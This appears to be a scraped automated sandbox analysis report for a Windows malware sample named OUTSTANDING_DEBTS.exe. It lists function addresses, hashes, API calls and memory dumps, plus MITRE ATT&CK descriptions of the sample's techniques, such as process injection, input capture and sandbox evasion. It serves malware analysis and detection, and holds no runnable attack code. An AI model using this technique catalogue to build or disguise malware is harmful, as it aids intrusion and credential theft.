Instruction ID: f96ae6994d6189260e198c5a55ae92dbca0fea0334840a30f258951f0b4eeb37
Opcode Fuzzy Hash: 8cb567a4eac42cf0ba81e911690f9364293b2517a1a9b2b79b9f97d5a527cea5
Instruction Fuzzy Hash: 253113B0900704AFDB14FFB8C9466AEBFB4AF11328F14475EE162A72C1D7785A06CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0047F9A5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0047F9AC

Strings

@, xrefs: 0047F9DE
@, xrefs: 0047FA54

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 60969d8bf9d51a695d0f44a35701fa0d38b9d4e211375623c64418a13e6c58b8
Instruction ID: 39dfbee77f49447f130cd69d59a479f20feb56feef13357304bdd5504ee4f477
Opcode Fuzzy Hash: 60969d8bf9d51a695d0f44a35701fa0d38b9d4e211375623c64418a13e6c58b8
Instruction Fuzzy Hash: D831D8B19103089EDB10EFA4C946BEDBBB4AF11328F10825EE059B72C1D77C5E0ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 00433953, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0043395A

Strings

c:C, xrefs: 00433A13
pN, xrefs: 00433A42

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3
String ID: c:C$pN
API String ID: 431132790-133659216
Opcode ID: e58b28bc259cad9ec360a256c10a51717aabea1fb0246b112787638b9712a8ba
Instruction ID: 721940fcf0a402a7c91967d45b137a88ac537366f990e9f008f02cf686942519
Opcode Fuzzy Hash: e58b28bc259cad9ec360a256c10a51717aabea1fb0246b112787638b9712a8ba
Instruction Fuzzy Hash: 16214C70D00680DEDB10EF6BE9956187BA2AB08726F60463FE1528F7E2C77865459B0D

Uniqueness

Uniqueness Score: -1.00%

Function 00C52890, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54stringCOMMON

Download Yara Rule

APIs

_swprintf.LIBCMTD ref: 00C528E4

Part of subcall function 00C54AB0: __vswprintf_s_l.LIBCONCRTD ref: 00C54ACE

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

lstrlenW.KERNEL32(00C9945C), ref: 00C52906

Strings

"%s"=, xrefs: 00C528D4

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite__vswprintf_s_l_swprintf
String ID: "%s"=
API String ID: 240206160-1134692429
Opcode ID: 026dbe0570c656841035cfaf99e5f92f32f9d28ca2fdc4cd9ddd2566a0aa7e53
Instruction ID: 7ba8e3bbca01bc01aa0c0a54b651fa623e4620f39cb0658ffd032f8515059547
Opcode Fuzzy Hash: 026dbe0570c656841035cfaf99e5f92f32f9d28ca2fdc4cd9ddd2566a0aa7e53
Instruction Fuzzy Hash: F31170B9D00208BBCF00DFD8D8459AEB7B8EF48305F108168FC1997201E631EB94DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00443806, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000), ref: 00443831

Strings

K32GetProcessMemoryInfo, xrefs: 00443865
GetProcessMemoryInfo, xrefs: 00443842

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: OpenProcess
String ID: GetProcessMemoryInfo$K32GetProcessMemoryInfo
API String ID: 3743895883-1962974740
Opcode ID: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction ID: fbd2607e2e50012dd5bd2a8f34f43baeaa0228b3dbb5db9b8667995970460b70
Opcode Fuzzy Hash: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction Fuzzy Hash: 9EF08630600204A6FB14BF769D46FAFB7E5AF04B55F100436B501A62D1EFA8DA01865D

Uniqueness

Uniqueness Score: -1.00%

Function 00C52F40, Relevance: 5.2, APIs: 4, Instructions: 195stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 00C52F82
lstrcpyW.KERNEL32 ref: 00C52FAA

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 93f2ef15d2de81fac0bdd9375ffa5c72144ce6cc28faa71b0b1b13cb76e1cd81
Instruction ID: 64d9c2a61d9d8dd753f43007225ca1b064eea0c28d416d1f05b2ab5ef0166a73
Opcode Fuzzy Hash: 93f2ef15d2de81fac0bdd9375ffa5c72144ce6cc28faa71b0b1b13cb76e1cd81
Instruction Fuzzy Hash: DB817FB8900259DBCF14CF94D895BAEB7B1FF48341F108169EC15AB291D734AB84CBA5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report OUTSTANDING_DEBTS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTPS Packets

Function 00C54D50, Relevance: 375.6, APIs: 11, Strings: 203, Instructions: 1069
libraryloadermemoryCOMMON

Function 00C806FB, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Function 00C7CAA8, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Function 00C59680, Relevance: 58.9, APIs: 32, Strings: 1, Instructions: 1115
COMMONCrypto

Function 00C85965, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251
COMMON

Function 00C8CC96, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340
COMMONCrypto

Function 00C86126, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMON

Function 00C52960, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67
stringwindowCOMMON

Function 00C862FB, Relevance: 7.7, APIs: 5, Instructions: 183
COMMON

Function 00C56E03, Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Function 00C7B717, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Function 00C64084, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Function 00C8BC80, Relevance: 3.4, APIs: 2, Instructions: 450
COMMONCrypto

Function 00C945B2, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Function 00C570D4, Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Function 00C85C70, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 00C85D0B, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 00C86503, Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Function 00C85C07, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Function 00C6F242, Relevance: 1.5, Strings: 1, Instructions: 243
COMMONCrypto

Function 00C6EB04, Relevance: 1.5, Strings: 1, Instructions: 243
COMMONCrypto

Function 00C6F4B6, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Function 00C6E89F, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Function 00C6ED78, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Function 00C6EFDD, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Function 00C6E42C, Relevance: 1.5, Strings: 1, Instructions: 220
COMMONCrypto

Function 00C6DD87, Relevance: 1.5, Strings: 1, Instructions: 220
COMMONCrypto

Function 00C6E1FA, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Function 00C6E66D, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Function 00C6DB55, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Function 00C6DFC8, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Function 00C9308D, Relevance: .1, Instructions: 104
COMMONCrypto

Function 00C92F6D, Relevance: .1, Instructions: 81
COMMONCrypto

Function 00C5C328, Relevance: 28.8, APIs: 19, Instructions: 339
COMMON

Function 00C5D824, Relevance: 19.8, APIs: 13, Instructions: 301
COMMON

Function 00C84F06, Relevance: 19.6, APIs: 13, Instructions: 113
COMMON

Function 00C609FB, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 304
COMMON

Function 00C5F12B, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 180
COMMON

Function 00C5AAD4, Relevance: 15.3, APIs: 10, Instructions: 337
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre